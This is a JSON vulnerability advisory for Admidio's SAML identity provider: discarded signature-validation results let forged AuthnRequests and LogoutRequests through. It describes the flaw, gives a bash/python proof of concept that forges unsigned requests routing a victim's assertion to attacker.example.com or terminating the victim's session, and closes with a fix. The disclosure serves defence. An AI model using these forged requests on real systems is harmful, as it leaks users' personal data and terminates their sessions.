{"id":"GHSA-25cw-98hg-g3cg","aliases":["CVE-2026-41669"],"title":"Admidio Ignores SAML Signature Validation Result, Processes Forged AuthnRequests and LogoutRequests","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"## Summary\n\nThe Admidio SAML Identity Provider implementation discards the return value of its `validateSignature()` method at both call sites (`handleSSORequest()` line 418 and `handleSLORequest()` line 613). The method returns error strings on failure rather than throwing exceptions, but the developer believed it would throw (per comments on lines 416 and 611). This means the `smc_require_auth_signed` configuration option is completely ineffective — unsigned or invalidly-signed SAML AuthnRequests and LogoutRequests are processed identically to properly signed ones.\n\n## Details\n\nThe `validateSignature()` method at `src/SSO/Service/SAMLService.php:355` has three possible return paths:\n\n```php\n// Line 355-392\npublic function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string {\n    global $gL10n;\n    $certPem = $client->getValue('smc_x509_certificate');\n    if (!$certPem) {\n        if ($required) {\n            return $gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'); // Returns STRING, not throw\n        } else {\n            return false;\n        }\n    }\n    // ...\n    $signatureReader = $message->getSignature();\n    if (is_null($signatureReader)) {\n        if ($required) {\n            return $gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'); // Returns STRING, not throw\n        } else {\n            return false;\n        }\n    }\n    try {\n        $ok = $signatureReader->validate($key);\n        if ($ok) {\n            return true;\n        } else {\n            return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw\n        }\n    } catch (Exception $ex) {\n        return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw\n    }\n}\n```\n\nBoth call sites discard the return value entirely:\n\n```php\n// Line 416-419 in handleSSORequest()\n// Validate signatures. Will throw an exception    <-- INCORRECT COMMENT\nif ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {\n    $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));\n    // Return value discarded — execution continues regardless of validation result\n}\n\n// Line 611-614 in handleSLORequest()\n// Validate signatures. Will throw an exception    <-- INCORRECT COMMENT\nif ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {\n    $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));\n    // Return value discarded — execution continues regardless of validation result\n}\n```\n\n**SSO exploitation path** (for already-logged-in users):\n1. `modules/sso/index.php:92` routes to `handleSSORequest()`\n2. Line 403: `receiveMessage()` parses SAML binding directly from HTTP GET/POST — no authentication required\n3. Line 408-409: Entity ID extracted from the forged request's Issuer element, client config loaded\n4. Line 417-419: Signature validation called but return value discarded — flow continues\n5. Line 421: `$gValidLogin` is true for logged-in users, so login form is skipped\n6. Lines 438-580: SAML Response built with user's real attributes (login, name, email, roles) and sent to the `AssertionConsumerServiceURL` from the forged request\n\n**SLO exploitation path**:\n1. `modules/sso/index.php:94` routes to `handleSLORequest()`\n2. Line 613: Signature validation discarded\n3. Lines 621-629: User's session is deleted from the database and `$gCurrentSession->logout()` is called\n\n## PoC\n\n```bash\n# Prerequisites:\n# - Admidio instance with SAML SSO enabled (sso_saml_enabled=1)\n# - At least one registered SAML SP client with smc_require_auth_signed=true\n# - A user with an active session (e.g., admin browsing the Admidio panel)\n\n# 1. Generate an unsigned AuthnRequest impersonating a registered SP:\nAUTHN_REQUEST=$(python3 -c \"\nimport base64, zlib\nreq = '<samlp:AuthnRequest xmlns:samlp=\\\"urn:oasis:names:tc:SAML:2.0:protocol\\\" xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_fake123\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2026-03-27T00:00:00Z\\\" AssertionConsumerServiceURL=\\\"https://attacker.example.com/acs\\\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer></samlp:AuthnRequest>'\nprint(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())\n\")\n\n# 2. Send the unsigned request via HTTP-Redirect binding (GET):\n# If a logged-in user's browser follows this link (e.g., via CSRF/social engineering),\n# Admidio generates a signed SAML assertion with the user's PII and sends it\n# to the attacker-controlled ACS URL.\ncurl -v \"https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}\" \\\n  -b 'PHPSESSID=VICTIM_SESSION_COOKIE'\n\n# Expected: Despite smc_require_auth_signed=true, the unsigned request is processed.\n# The response contains a SAML assertion with the victim's attributes.\n\n# 3. For SLO — forge a LogoutRequest to terminate a victim's session:\nLOGOUT_REQUEST=$(python3 -c \"\nimport base64, zlib\nreq = '<samlp:LogoutRequest xmlns:samlp=\\\"urn:oasis:names:tc:SAML:2.0:protocol\\\" xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_fake456\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2026-03-27T00:00:00Z\\\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer><saml:NameID>victim@example.com</saml:NameID></samlp:LogoutRequest>'\nprint(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())\n\")\n\ncurl -v \"https://admidio.example.org/adm_program/modules/sso/index.php/saml/slo?SAMLRequest=${LOGOUT_REQUEST}\" \\\n  -b 'PHPSESSID=VICTIM_SESSION_COOKIE'\n\n# Expected: Victim's session is terminated, logout cascaded to all registered SPs.\n```\n\n## Impact\n\n- **Signature enforcement bypass**: The `smc_require_auth_signed` setting is entirely ineffective. Administrators who enable this setting believing it protects against forged requests have a false sense of security.\n- **User attribute disclosure (SSO)**: When combined with the ability to specify an arbitrary `AssertionConsumerServiceURL`, an attacker can redirect a logged-in user's SAML assertion (containing login name, email, real name, role memberships) to an attacker-controlled endpoint.\n- **Session termination (SLO)**: An attacker can forge LogoutRequests to terminate any user's Admidio session and trigger cascading single logout across all registered Service Providers, causing denial of service for targeted users.\n- **Amplifies ACS URL injection**: The signature requirement was the primary defense against unvalidated ACS URLs in AuthnRequests. Without signature enforcement, the ACS redirect becomes trivially exploitable via GET redirect binding (which bypasses SameSite=Lax cookie restrictions).\n\n## Recommended Fix\n\nCheck the return value of `validateSignature()` and throw on failure. In `src/SSO/Service/SAMLService.php`, fix both call sites:\n\n```php\n// In handleSSORequest(), replace lines 416-419:\n// Validate signatures\nif ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {\n    $result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));\n    if ($result !== true && $result !== false) {\n        // $result is an error message string — validation failed\n        throw new Exception($result);\n    }\n}\n\n// In handleSLORequest(), replace lines 611-614 with the same pattern:\nif ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {\n    $result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));\n    if ($result !== true && $result !== false) {\n        throw new Exception($result);\n    }\n}\n```\n\nAlternatively, refactor `validateSignature()` to throw exceptions on failure (matching the developer's original intent as documented in the comments), which would make both call sites correct as-is:\n\n```php\npublic function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool {\n    global $gL10n;\n    $certPem = $client->getValue('smc_x509_certificate');\n    if (!$certPem) {\n        if ($required) {\n            throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'));\n        }\n        return false;\n    }\n    // ... (same cert loading logic) ...\n    $signatureReader = $message->getSignature();\n    if (is_null($signatureReader)) {\n        if ($required) {\n            throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'));\n        }\n        return false;\n    }\n    try {\n        if (!$signatureReader->validate($key)) {\n            throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));\n        }\n        return true;\n    } catch (Exception $ex) {\n        throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));\n    }\n}\n```","severity":"high","score":8.2,"published":"2026-04-29T21:56:13.000Z","modified":"2026-05-08T20:33:32.260Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"admidio/admidio","sources":[{"name":"OSV · GHSA-25cw-98hg-g3cg","url":"https://osv.dev/vulnerability/GHSA-25cw-98hg-g3cg"}],"ranges":[{"events":[{"introduced":"0"},{"fixed":"5.0.9"}],"type":"ECOSYSTEM"}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8"],"fixed":["5.0.9"]}],"sourceAffected":[],"references":["https://github.com/Admidio/admidio/security/advisories/GHSA-25cw-98hg-g3cg","https://nvd.nist.gov/vuln/detail/CVE-2026-41669","https://github.com/Admidio/admidio","https://github.com/Admidio/admidio/releases/tag/v5.0.9"],"sources":[{"name":"OSV","id":"GHSA-25cw-98hg-g3cg","modified":"2026-05-08T20:33:32.260999Z","url":"https://osv.dev/vulnerability/GHSA-25cw-98hg-g3cg"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":8.2}],"products":[],"remediation":[],"kev":{"status":"not-listed","checkedAt":"2026-10-28T17:10:31.931Z"},"coverage":[{"source":"NVD","status":"not-checked"},{"source":"GHSA","status":"not-checked"},{"source":"EUVD","status":"not-checked"},{"source":"EPSS","status":"not-checked"}],"evidence":[]}